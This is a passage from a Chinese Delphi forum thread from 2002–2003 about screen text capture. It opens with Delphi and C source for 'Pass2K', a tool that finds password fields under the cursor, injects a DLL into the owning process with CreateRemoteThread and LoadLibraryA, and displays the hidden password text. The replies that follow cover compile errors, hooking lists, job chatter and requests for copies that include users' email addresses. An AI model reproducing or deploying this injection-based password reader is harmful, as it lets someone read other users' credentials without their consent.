hLabelEmail:=CreateLabel('攻击目标:',4,8,54,24);

hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体');

//改变字体

SendMessage(hEditEmail,WM_SETFONT,hFont,0);

SendMessage(hLabelEmail,WM_SETFONT,hFont,0);

while(GetMessage(Msg,Handle,0,0))do

begin

TranslateMessage(Msg);

DispatchMessage(Msg);

end;

end.

//--------------------------------------------------------------

Program Pass2K;

uses windows,messages,sysutils;

var

wClass: TWndClass; //窗口类变量

Msg: TMSG; //消息变量

hInst,Handle,hParent:thandle;

hLong:longint;

hPoint:TPOINT;

procedure run2;

var

hRemoteThread,hkernel32,dwRemoteProcessId,hRemoteProcess:integer;

cb,pcb:dword;

pfnStartAddr,pszLibFileName,pszLibFileRemote:pchar;

begin

cb:=100;

GetWindowThreadProcessId(hParent,@dwRemoteProcessId);

hRemoteProcess:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);

getmem(pszLibFileName,cb);

strcopy(pszLibFileName,pchar(ExtractFilePath(ParamStr(0))+'\dll01.dll'));

pszLibFileRemote:=VirtualAllocEx(hRemoteProcess,NIL,cb,MEM_COMMIT,PAGE_READWRITE);

WriteProcessMemory(hRemoteProcess,pszLibFileRemote,pszLibFileName,cb,pcb);

Freemem(pszLibFileName);

hkernel32:=GetModuleHandle('Kernel32.dll');

pfnStartAddr:=GetProcAddress(hkernel32,'LoadLibraryA');

hRemoteThread:=CreateRemoteThread(hRemoteProcess,NIL,0,pfnStartAddr,pszLibFileRemote,0,pcb);

WaitForSingleObject(hRemoteThread,INFINITE);

TerminateThread(hRemoteThread,0);

end;

//这是主窗口的消息处理函数

function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;

begin

Result:=DefWindowProc(hWnd,Msg,wParam,lParam);

case Msg of

WM_DESTROY:halt;

WM_TIMER:

begin

GetCursorPos(hPoint);

hParent:=WindowFromPoint(hPoint);

hLong:=GetWindowLong(hParent,GWL_STYLE);

if (hLong and ES_PASSWORD)=ES_PASSWORD then run2;

end;

begin

hInst:=GetModuleHandle(nil);

with wClass do

begin

Style:= CS_PARENTDC;

hIcon:= LoadIcon(hInst,'MAINICON');

lpfnWndProc:= @WindowProc;

hInstance:= hInst;

hbrBackground:= COLOR_BTNFACE+1;

lpszClassName:= 'MainHostClass';

hCursor:= LoadCursor(0,IDC_ARROW);

end;

RegisterClass(wClass);

handle:=CreateWindow(wClass.lpszClassName,'http://hotsky.363.net',WS_OVERLAPPEDWINDOW or WS_VISIBLE,80,10,220,85,0,0,hInst,nil);

settimer(handle,0,200,NIL);

while(GetMessage(Msg,Handle,0,0))do

begin

TranslateMessage(Msg);

DispatchMessage(Msg);

end;

end.

//-------------------------------------------------------------------------------

#include <windows.h>

BOOL WINAPI __declspec(dllexport) LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)

{

POINT hPoint;

HWND hParent;

char str[100];

switch (fdwReason)

{

case DLL_PROCESS_ATTACH:

GetCursorPos(&hPoint);

hParent=WindowFromPoint(hPoint);

GetWindowText(hParent,str,100);

MessageBox(0,str,"",0);

FreeLibrary(hDLLInst);

break;

case DLL_PROCESS_DETACH:

break;

case DLL_THREAD_ATTACH:

break;

case DLL_THREAD_DETACH:

break;

}

return TRUE;

}

来自：张无忌, 时间：2002-5-26 16:34:00, ID：1125205

收藏先[8D][:D][:)]

来自：datoncg, 时间：2002-5-26 21:27:00, ID：1125688

太累

来自：base7, 时间：2002-5-27 11:40:00, ID：1126393

to jingtao:

有没有能够看IE浏览器下的星号的代码？

虽然IE中其实是明码，但从提取信息和显示的角度将，编程难度会比windows的密码高得多

来自：kthy, 时间：2002-5-27 13:37:00, ID：1126635

编译正确，但执行后，按Load按钮，出现"$EEEE, Can not register class CHILD 120"

来自：kisse, 时间：2002-5-27 15:39:00, ID：1126892

哈哈不错词取出来了

来自：tokey, 时间：2002-5-27 19:49:00, ID：1127417

wonderful

向各位高人们学习

来自：tfnmao, 时间：2002-5-27 20:44:00, ID：1127515

来自：tayancom, 时间：2002-5-28 13:20:00, ID：1128605

>编译正确，但执行后，按Load按钮，出现"$EEEE, Can not register class CHILD 120"

Can not register class CHILD 87

我也是出現這個錯誤..

繁體win98se , delphi6 sp2

来自：huiyugan, 时间：2002-5-28 13:28:00, ID：1128616

请阅读第一贴以及源代码。

来自：Ehom, 时间：2002-5-28 13:38:00, ID：1128632

API拦截的太少了(反编译某产品得来的)

TextOutA

TextOutW

ExtTextOutA

ExtTextOutW

DrawTextA

DrawTextW

DrawTextExA

DrawTextExW

TabbedTextOutA

TabbedTextOutW

PolyTextOutA

PolyTextOutW

GetTextExtentExPointA

GetTextExtentExPointW

GetTextExtentPoint32A

GetTextExtentPoint32W

GetTextExtentPointA

GetTextExtentPointW

来自：huiyugan, 时间：2002-5-28 13:42:00, ID：1128641

同意，

请阅读第一贴

来自：wen, 时间：2002-5-28 14:15:00, ID：1128713

多謝

来自：徐永进, 时间：2002-5-28 18:18:00, ID：1129235

阿甘!

呵呵,看到你给我的短信,不知道怎么搞一个短信给你!呵呵

你不是跳槽了吗?怎么样?给小日本干没有意思,不知道你现在怎么样阿?我现在的mail

jokeyxu@sina.com

来自：huiyugan, 时间：2002-5-28 22:26:00, ID：1129628

对头我现在已经辞职了，就今天，

感觉精神爽多了。

嗯，收到mail的各位，有人给我介绍工作吗？

来自：huiyugan, 时间：2002-5-29 13:40:00, ID：1130682

辞职了，

^_^，我今天在家休息了。

好放松哦。

来自：kingkong, 时间：2002-6-2 8:19:00, ID：1138192

to:huiyugan

在Win98下运行报错，是怎么回事，请教.

来自：zwhc, 时间：2002-6-2 8:40:00, ID：1138201

我估计你是个超级球迷，请不到假，索性辞职以看球

来自：huiyugan, 时间：2002-6-2 16:48:00, ID：1138868

to zwhc:

你真才是超级球迷，这招都想得出来。

呵呵，实际上，我穷得连电视都买不起，

所以只好想上网在线看啊，不过猫实在是太慢了。

不过，昨天我发现一个好得看球的地方，商场啊，

啥好电视机都以放球赛作广告，还有空调啊。

to KinKong:

我说过了，我发的这个东东只运行在2000下。

哪天俺有时间再搞一个98的版本吧。

来自：kingkong, 时间：2002-6-5 9:04:00, ID：1143838

to:huiyugan

在Win98下运行报错，是怎么回事，请教.

来自：huiyugan, 时间：2002-6-5 19:11:00, ID：1145231

To KingKong:

您好，关于这个问题，请您阅读第一贴。

******** 此代码运行于Win2000下 **********

******** 需要稍作修改方可用于98。********

来自：shellapi, 时间：2002-6-6 8:48:00, ID：1145821

甘，不知道为什么，我自己编译出来的dll， DisableMouseHook 这里就有问题，

程序一退出，我的ie什么的也跟着去了，还有你上次给我看的那插入进程的例子，

也一样。我用xp+d6，我哥哥的情况和我也一样，不知道其他人会不会出现这样的情况，

但很奇怪，我用你编译出来的dll就不会。你用什么环境？

哦，忘了不该叫你甘的，不过你wife不会来这里吧，呵呵，还有听说你最近失业了，

同情 + 遗憾。

来自：kingkong, 时间：2002-6-6 12:36:00, ID：1146356

to:huiyugan

"需要稍作修改方可用于98",我就是想知道修改什么地方,这太重要了,谢谢

来自：kouchun, 时间：2002-6-6 14:44:00, ID：1146711

good

来自：huiyugan, 时间：2002-6-6 16:27:00, ID：1146914

To ShellAPI:

是我的失误了。

我使用的用的Win2000 (no SP， build 2195) + Delphi5(Build 5.62).

我wife可能会来这里的，因为我的帐号密码都知道。

偶是失业了，明天去华为报到了，我估计我的薪水涨不了多少。

我原来日本最大的软件公司在宁的一家合资企业工作(Fujitsu)，但感觉公司的管理

等等有些问题，你有机会看看这一期的程序员杂志就知道了，我们公司的很多东西

和上面讲的差不多，不过据说么改革了，但我等不了。所以决定走了。

我觉得人应该多一些经历。虽然我会失去什么。华为也是一个大家有争议的公司。

不过我还是想去试试。我并不是毕业于计算机专业，我毕业的时候都不知道华为。

To KingKong:

既然这件事情对你很重要，我想我就有责任改成98下的了。

不过我现在时间很紧张，估计在2－3周内没有时间了，我去新的公司报道了。

你也知道，这个公司的工作时间很长的。

来自：huiyugan, 时间：2002-7-7 10:55:00, ID：1191706

to kingkong and friends:

I am 很忙，现在还不在家里，所以这些东西都没法做。

抱歉。

并且我回到南京后仍然会很忙，所以估计要很长时间之后我才会改了。

来自：tianshu700, 时间：2002-7-7 17:11:00, ID：1192050

我喜欢

来自：huiyugan, 时间：2002-8-24 18:35:00, ID：1285063

:-)

来自：wangzheking, 时间：2002-11-20 17:39:00, ID：1445858

上述代碼是否可以完成從屏幕中抓取某特定字符串位置的功能？

来自：humanc2d4, 时间：2002-12-5 16:52:00, ID：1488643

也给我一份！

humanyixiaobing@163.com[:D[8D]

来自：wuzjy0001, 时间：2002-12-5 21:09:00, ID：1489287

来自：hong2002, 时间：2002-12-5 21:44:00, ID：1489351

也给我一份！

fong_waihong@163.net

来自：ssss__0002, 时间：2002-12-14 13:48:00, ID：1510175

来自：ego, 时间：2002-12-14 13:53:00, ID：1510180

谢谢！

来自：DDMike, 时间：2002-12-20 9:34:00, ID：1523595

来自：原野飞侠, 时间：2002-12-20 9:43:00, ID：1523643

下载地址进不去 http://delphi.mychangshu.com/dispdoc.asp?id=988

来自：原野飞侠, 时间：2003-1-5 14:24:00, ID：1561354

来自：huiyugan, 时间：2003-1-10 21:42:00, ID：1573095

大家可以去www.playicq.com上去下载

原来的地址不可用

来自：ego, 时间：2003-4-4 16:54:00, ID：1738296

huiyugan:

我试了一下,发现在窗口中取出的英文都是乱码,但中文就正常,这是为什么?

来自：wfh7710, 时间：2003-4-7 12:09:00, ID：1744789

我靠，各位我发现一本叫《Delphi下深入核心编程》，这本书提供了Win9x和Win2000/XP实现屏幕取词的方法和代码。

并且讲述了线程的同步，系统钩子的深入分析，读写物理磁盘数据，读取内存，内存共享，直接操作断口等。

来自：satanmonkey, 时间：2003-4-7 13:57:00, ID：1745244

收藏！

好东东

来自：wcy12td, 时间：2003-4-7 21:02:00, ID：1746754

to wfh7710

既然是好东西，那肯定应该拿出来让大家共享啊，

来自：任豆豆, 时间：2003-4-18 13:14:00, ID：1780590

Happy

来自：ghg_qh, 时间：2003-5-4 23:36:00, ID：1827984

来自：Olmany, 时间：2003-5-5 2:17:00, ID：1828236

来自：lgxyy, 时间：2003-5-13 17:43:00, ID：1857467

来自：wenjinshan, 时间：2003-5-23 14:24:00, ID：1888156

屏幕取词的完整解决方案见我的《delphi深入windows核心编程》一书，

解决了IE、win98下的高技术难题,支持windows98/2000/xp,

我的主页http://wenjinshan.yeah.net

来自：wfzha, 时间：2003-5-23 22:25:00, ID：1890093

多谢

来自：datoncg, 时间：2003-5-24 9:39:00, ID：1890644

wenjinshan？？？你在这儿做广告呀？没钱!?

来自：xp2000, 时间：2003-5-24 9:41:00, ID：1890655

多谢！！

来自：jingtao, 时间：2003-5-24 17:13:00, ID：1891886

文人相轻，想不到程序员也如此。。。。。。

不遭人嫉是庸才，老温继续。

来自：whbest, 时间：2003-7-30 14:26:00, ID：2070976

在一本好象是delphi核心核技术的书中有屏幕取词的原程序和说明。